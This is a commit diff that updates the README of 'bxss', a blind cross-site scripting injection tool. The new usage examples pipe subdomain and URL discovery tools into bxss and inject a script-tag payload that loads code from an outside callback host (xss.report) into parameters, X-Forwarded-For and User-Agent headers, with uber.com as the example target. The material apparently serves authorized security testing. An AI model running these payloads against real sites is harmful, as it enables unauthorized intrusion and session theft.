Skip to content

Commit 5782bd0

Browse files
chore: updated README
1 parent 9d1d564 commit 5782bd0

File tree

1 file changed

+46
-4
lines changed

1 file changed

+46
-4
lines changed

README.md

Lines changed: 46 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -71,16 +71,58 @@ go install -v github.com/ethicalhackingplayground/bxss/v2/cmd/bxss@latest
7171

7272
## 🔥 Usage Examples
7373

74-
### Injecting Blind XSS Into Parameters
74+
### Parameters
7575
```bash
76-
subfinder -d uber.com | gau | grep "&" | bxss -appendMode -payload '"><script src=https://xss.report/c/username></script>' -parameters
76+
subfinder -d uber.com \
77+
| gau \
78+
| grep "&" \
79+
| bxss -a -p '><script src=https://xss.report/c/username></script>' \
80+
-t
7781
```
7882

79-
### Injecting Blind XSS Into X-Forwarded-For Header
83+
### X-Forwarded-For Header
8084
```bash
81-
subfinder -d uber.com | gau | bxss -payload '"><script src=https://xss.report/c/username></script> -header "X-Forwarded-For"
85+
subfinder -d uber.com \
86+
| gau \
87+
| bxss -p '><script src=https://xss.report/c/username></script>' \
88+
-H "X-Forwarded-For"
8289
```
8390

91+
### Custom Headers & Parameters
92+
```bash
93+
echo uber.com \
94+
| haktrails subdomains \
95+
| httpx \
96+
| hakrawler -u \
97+
| bxss -p '><script src=https://xss.report/c/username></script>' \
98+
-H "User-Agent" \
99+
-t
100+
```
101+
102+
### Google Dorks With Dorki
103+
```bash
104+
curl -X GET -H "Authorization: Bearer <Token>" \
105+
-H "X-Secret-Key: <Secret>" \
106+
https://dorki.attaxa.com/api/search?q=site:example.com -s \
107+
| jq -r .[][].url \
108+
| grep "&" \
109+
| bxss -a -p '><script src=https://xss.report/c/username></script>'
110+
```
111+
112+
### Custom Headers & Parameters With Rate Limit
113+
```bash
114+
echo uber.com \
115+
| haktrails subdomains \
116+
| httpx \
117+
| hakrawler -u \
118+
| bxss -a -p '><script src=https://xss.report/c/username></script>' \
119+
-H "User-Agent" \
120+
-t \
121+
-rl 10
122+
```
123+
124+
For advanced dorking and vulnerability exploration, check out [Dorki](https://dorki.attaxa.com/) and sign up today!
125+
84126
---
85127

86128
## ☕ Support the Project

0 commit comments

Comments
 (0)